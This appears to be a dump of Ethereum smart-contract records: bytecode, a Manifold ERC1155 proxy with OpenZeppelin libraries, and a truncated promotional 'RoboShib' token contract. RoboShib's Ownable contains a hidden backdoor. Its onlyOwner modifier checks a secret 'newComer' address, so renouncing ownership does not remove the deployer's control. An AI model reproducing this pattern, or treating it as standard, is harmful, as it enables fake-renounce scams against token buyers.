=0; idx < timelockList[holder].length ; idx++ ) { if (timelockList[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( _unlock(holder, idx) ) { idx -=1; } } } return true; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063788649ea11610125578063a9059cbb116100ad578063d4ee1d901161007c578063d4ee1d9014610689578063dd62ed3e14610691578063de6baccb146106bf578063f26c159f146106f1578063f2fde38b1461071757610211565b8063a9059cbb146105cc578063b414d4b6146105f8578063ba8907cb1461061e578063d26c4a761461064457610211565b806382dc1ec4116100f457806382dc1ec4146105465780638456cb591461056c5780638da5cb5b1461057457806395d89b4114610598578063a457c2d7146105a057610211565b8063788649ea146104ba57806378b76528146104e057806379ba5097146105125780637eee288d1461051a57610211565b80633f4ba83a116101a85780635c975abb116101775780635c975abb146104385780636b2c0f55146104405780636ef8d66d1461046657806370a082311461046e57806377b623b11461049457610211565b80633f4ba83a146103c557806342966c68146103cf57806346116593146103ec57806346fbf68e1461041257610211565b806323b872dd116101e457806323b872dd1461031f5780632f54bf6e14610355578063313ce5671461037b578063395093511461039957610211565b806306fdde0314610216578063095ea7b3146102935780630996eebe146102d357806318160ddd14610305575b600080fd5b61021e61073d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610258578181015183820152602001610240565b50505050905090810190601f1680156102855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102bf600480360360408110156102a957600080fd5b506001600160a01b0381351690602001356107d4565b604080519115158252519081900360200190f35b6102bf600480360360608110156102e957600080fd5b506001600160a01b038135169060208101359060400135610850565b61030d6109a6565b60408051918252519081900360200190f35b6102bf6004803603606081101561033557600080fd5b506001600160a01b038135811691602081013590911690604001356109ac565b6102bf6004803603602081101561036b57600080fd5b50356001600160a01b0316610a11565b610383610a3b565b6040805160ff9092168252519081900360200190f35b6102bf600480360360408110156103af57600080fd5b506001600160a01b038135169060200135610a44565b6103cd610af2565b005b6102bf600480360360208110156103e557600080fd5b5035610b61565b61030d6004803603602081101561040257600080fd5b50356001600160a01b0316610b75565b6102bf6004803603602081101561042857600080fd5b50356001600160a01b0316610bf3565b6102bf610c06565b6103cd6004803603602081101561045657600080fd5b50356001600160a01b0316610c0f565b6103cd610c32565b61030d6004803603602081101561048457600080fd5b50356001600160a01b0316610c3d565b61030d600480360360208110156104aa57600080fd5b50356001600160a01b0316610cc0565b6102bf600480360360208110156104d057600080fd5b50356001600160a01b0316610d82565b6102bf600480360360608110156104f657600080fd5b506001600160a01b038135169060208101359060400135610e18565b6102bf610e77565b6102bf6004803603604081101561053057600080fd5b506001600160a01b038135169060200135610f01565b6103cd6004803603602081101561055c57600080fd5b50356001600160a01b0316610fa4565b6103cd610fce565b61057c611041565b604080516001600160a01b039092168252519081900360200190f35b61021e611050565b6102bf600480360360408110156105b657600080fd5b506001600160a01b0381351690602001356110b0565b6102bf600480360360408110156105e257600080fd5b506001600160a01b0381351690602001356110f9565b6102bf6004803603602081101561060e57600080fd5b50356001600160a01b031661114b565b61030d6004803603602081101561063457600080fd5b50356001600160a01b0316611160565b6106706004803603604081101561065a57600080fd5b506001600160a01b03813516906020013561117b565b6040805192835260208301919091528051918290030190f35b61057c6111b4565b61030d600480360360408110156106a757600080fd5b506001600160a01b03813581169160200135166111c3565b6102bf600480360360608110156106d557600080fd5b506001600160a01b0381351690602081013590604001356111ee565b6102bf6004803603602081101561070757600080fd5b50356001600160a01b031661121c565b6103cd6004803603602081101561072d57600080fd5b50356001600160a01b03166112b6565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107c95780601f1061079e576101008083540402835291602001916107c9565b820191906000526020600020905b8154815290600101906020018083116107ac57829003601f168201915b505050505090505b90565b60006001600160a01b0383166107e957600080fd5b3360008181526004602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600061085b33610bf3565b8061086a575061086a33610a11565b61087357600080fd5b6001600160a01b0384166000908152600b602052604090205460ff161561089957600080fd5b6001600160a01b0384166000908152600a60205260409020546108bb57600080fd5b6000805b6001600160a01b0386166000908152600a6020526040902054811015610933576001600160a01b0386166000908152600a60205260409020805461092991908390811061090857fe5b9060005260206000209060020201600101548361130290919063ffffffff16565b91506001016108bf565b5083811161094057600080fd5b60005b6001600160a01b0386166000908152600a602052604090205481101561097f5761096d8682611363565b1561097757600019015b600101610943565b5061099a85610994838763ffffffff61152c16565b8561156e565b50600195945050505050565b60055490565b6001600160a01b0383166000908152600b6020526040812054849060ff16156109d457600080fd5b6001600160a01b0385166000908152600a6020526040902054156109fd576109fb85611633565b505b610a088585856116ba565b95945050505050565b6006546000906001600160a01b0383811691161415610a3257506001610a36565b5060005b919050565b60025460ff1690565b60006001600160a01b038316610a5957600080fd5b3360009081526004602090815260408083206001600160a01b0387168452909152902054610a8d908363ffffffff61130216565b3360008181526004602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b610afb33610bf3565b80610b0a5750610b0a33610a11565b610b1357600080fd5b60095460ff16610b2257600080fd5b6009805460ff191690556040805133815290517f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa9181900360200190a1565b6000610b6d33836116d8565b506001919050565b6001600160a01b0381166000908152600a6020526040812054819015610bed5760005b6001600160a01b0384166000908152600a6020526040902054811015610beb576001600160a01b0384166000908152600a602052604090208054610be191908390811061090857fe5b9150600101610b98565b505b92915050565b6000610bed60088363ffffffff61178116565b60095460ff1690565b6006546001600160a01b03163314610c2657600080fd5b610c2f816117b6565b50565b610c3b336117b6565b565b600080610c49836117fe565b6001600160a01b0384166000908152600a602052604090205490915015610bed5760005b6001600160a01b0384166000908152600a6020526040902054811015610beb576001600160a01b0384166000908152600a602052604090208054610cb691908390811061090857fe5b9150600101610c6d565b600080610ccc836117fe565b6001600160a01b0384166000908152600a602052604090205490915015610bed5760005b6001600160a01b0384166000908152600a6020526040902054811015610beb576001600160a01b0384166000908152600a60205260409020805442919083908110610d3757fe5b90600052602060002090600202016000015411610d7a576001600160a01b0384166000908152600a602052604090208054610d7791908390811061090857fe5b91505b600101610cf0565b6000610d8d33610bf3565b80610d9c5750610d9c33610a11565b610da557600080fd5b6001600160a01b0382166000908152600b602052604090205460ff16610dca57600080fd5b6001600160a01b0382166000818152600b6020526040808220805460ff19169055517fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee9190a2506001919050565b6000610e2333610bf3565b80610e325750610e3233610a11565b610e3b57600080fd5b6001600160a01b0384166000908152600b602052604090205460ff1615610e6157600080fd5b610e6c84848461156e565b506001949350505050565b600033610e8357600080fd5b6007546001600160a01b03163314610e9a57600080fd5b6007546006546040516001600160a01b0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360078054600680546001600160a01b03199081166001600160a01b0384161790915516905590565b6000610f0c33610bf3565b80610f1b5750610f1b33610a11565b610f2457600080fd5b6001600160a01b0383166000908152600a60205260409020548210610f90576040805162461bcd60e51b815260206004820152601e60248201527f41686e4c6f675f5468657265206973206e6f74206c6f636b20696e666f2e0000604482015290519081900360640190fd5b610f9a8383611363565b5060019392505050565b610fad33610bf3565b80610fbc5750610fbc33610a11565b610fc557600080fd5b610c2f81611819565b610fd733610bf3565b80610fe65750610fe633610a11565b610fef57600080fd5b60095460ff1615610fff57600080fd5b6009805460ff191660011790556040805133815290517f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2589181900360200190a1565b6006546001600160a01b031681565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156107c95780601f1061079e576101008083540402835291602001916107c9565b60006001600160a01b0383166110c557600080fd5b3360009081526004602090815260408083206001600160a01b0387168452909152902054610a8d908363ffffffff61152c16565b336000818152600b602052604081205490919060ff161561111957600080fd5b336000908152600a6020526040902054156111395761113733611633565b505b6111438484611861565b949350505050565b600b6020526000908152604090205460ff1681565b6001600160a01b03166000908152600a602052604090205490565b600a602052816000526040600020818154811061119457fe5b600091825260209091206002909102018054600190910154909250905082565b6007546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006111f933610bf3565b80611208575061120833610a11565b61121157600080fd5b610e6133858561187e565b600061122733610bf3565b80611236575061123633610a11565b61123f57600080fd5b6001600160a01b0382166000908152600b602052604090205460ff161561126557600080fd5b6001600160a01b0382166000818152600b6020526040808220805460ff19166001179055517faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc3230499190a2506001919050565b6006546001600160a01b031633146112cd57600080fd5b6001600160a01b0381166112e057600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561135c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166000908152600a6020526040812080548291908490811061138a57fe5b600091825260208083206001600290930201918201546001600160a01b0388168452600a9091526040909220805491935090859081106113c657fe5b60009182526020808320600290920290910182815560019081018390556001600160a01b0388168352600a90915260409091208054909161140d919063ffffffff61152c16565b8154811061141757fe5b9060005260206000209060020201600a6000876001600160a01b03166001600160a01b03168152602001908152602001600020858154811061145557fe5b60009182526020808320845460029093020191825560019384015493909101929092556001600160a01b0387168152600a909152604090208054600019019061149e9082611b5f565b506040805182815290516001600160a01b038716917f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919081900360200190a26001600160a01b038516600090815260036020526040902054611507908263ffffffff61130216565b6001600160a01b03861660009081526003602052604090205550600191505092915050565b600061135c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195e565b6001600160a01b038316600090815260036020526040812054611597908463ffffffff61152c16565b6001600160a01b038516600081815260036020908152604080832094909455600a8152838220845180860186528781528083018981528254600181810185559386529484902091516002909502909101938455519201919091558251868152908101859052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a25060019392505050565b6000805b6001600160a01b0383166000908152600a60205260409020548110156116b1576001600160a01b0383166000908152600a6020526040902080544291908390811061167e57fe5b906000526020600020906002020160000154116116a95761169f8382611363565b156116a957600019015b600101611637565b50600192915050565b60095460009060ff16156116cd57600080fd5b6111438484846119f5565b6001600160a01b0382166116eb57600080fd5b6005546116fe908263ffffffff61152c16565b6005556001600160a01b03821660009081526003602052604090205461172a908263ffffffff61152c16565b6001600160a01b0383166000818152600360209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b60006001600160a01b03821661179657600080fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b6117c760088263ffffffff611abe16565b6040516001600160a01b038216907fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e90600090a250565b6001600160a01b031660009081526003602052604090205490565b61182a60088263ffffffff611b0616565b6040516001600160a01b038216907f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f890600090a250565b60095460009060ff161561187457600080fd5b61135c8383611b52565b6001600160a01b03821661189157600080fd5b6001600160a01b0383166118a457600080fd5b6001600160a01b0383166000908152600360205260409020546118cd908263ffffffff61152c16565b6001600160a01b038085166000908152600360205260408082209390935590841681522054611902908263ffffffff61130216565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156119ed5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119b257818101518382015260200161199a565b50505050905090810190601f1680156119df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166000908152600460209081526040808320338452909152812054611a29908363ffffffff61152c16565b6001600160a01b0385166000908152600460209081526040808320338452909152902055611a5884848461187e565b6001600160a01b0384166000818152600460209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6001600160a01b038116611ad157600080fd5b611adb8282611781565b611ae457600080fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b6001600160a01b038116611b1957600080fd5b611b238282611781565b15611b2d57600080fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006116b133848461187e565b815481835581811115611b8b57600202816002028360005260206000209182019101611b8b9190611b90565b505050565b6107d191905b80821115611bb05760008082556001820155600201611b96565b509056fea265627a7a72315820588cbe0832f46d38e13ced46332eb2b53751f890d9d1e60bd69ce3e5fa6c408e64736f6c63430005110032
[ 18 ]
0xf29a16588a7596f9ee4be7efe0d9745ecf4f2576
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Barn Owlz x Bora Bora Koala /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // .______ ___ .______ .__ __. ______ ____ __ ____ __ ________ // // | _ \ / \ | _ \ | \ | | / __ \ \ \ / \ / / | | | / // // | |_) | / ^ \ | |_) | | \| | | | | | \ \/ \/ / | | `---/ / // // | _ < / /_\ \ | / | . ` | | | | | \ / | | / / // // | |_) | / _____ \ | |\ \----.| |\ | | `--' | \ /\ / | `----. / /----. // // |______/ /__/ \__\ | _| `._____||__| \__| \______/ \__/ \__/ |_______| /________| // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract BOC is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220dde85fe18409525ff67d8ca151fc5a78d760d4721c46bf3ca02ec77ea10a3a8c64736f6c63430008070033
[ 5 ]
0xf29a473f07530fb5842a7fa15a8488c2002428e7
/* RoboShib is a decentralized token on ETHEREUM with leading tokenomics that rewards all holders. RoboShib is a innovative token with mass appeal and ready to take the crypto world by storm! Join the telegram and come be a part of this moon mission. 🌐 Socials Website: https://www.RoboShib.com Telegram: https://t.me/roboshib Twitter: https://twitter.com/roboshib */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Roboshib is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'RoboShib ' ; string private _symbol = 'ROBOSHIB'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: 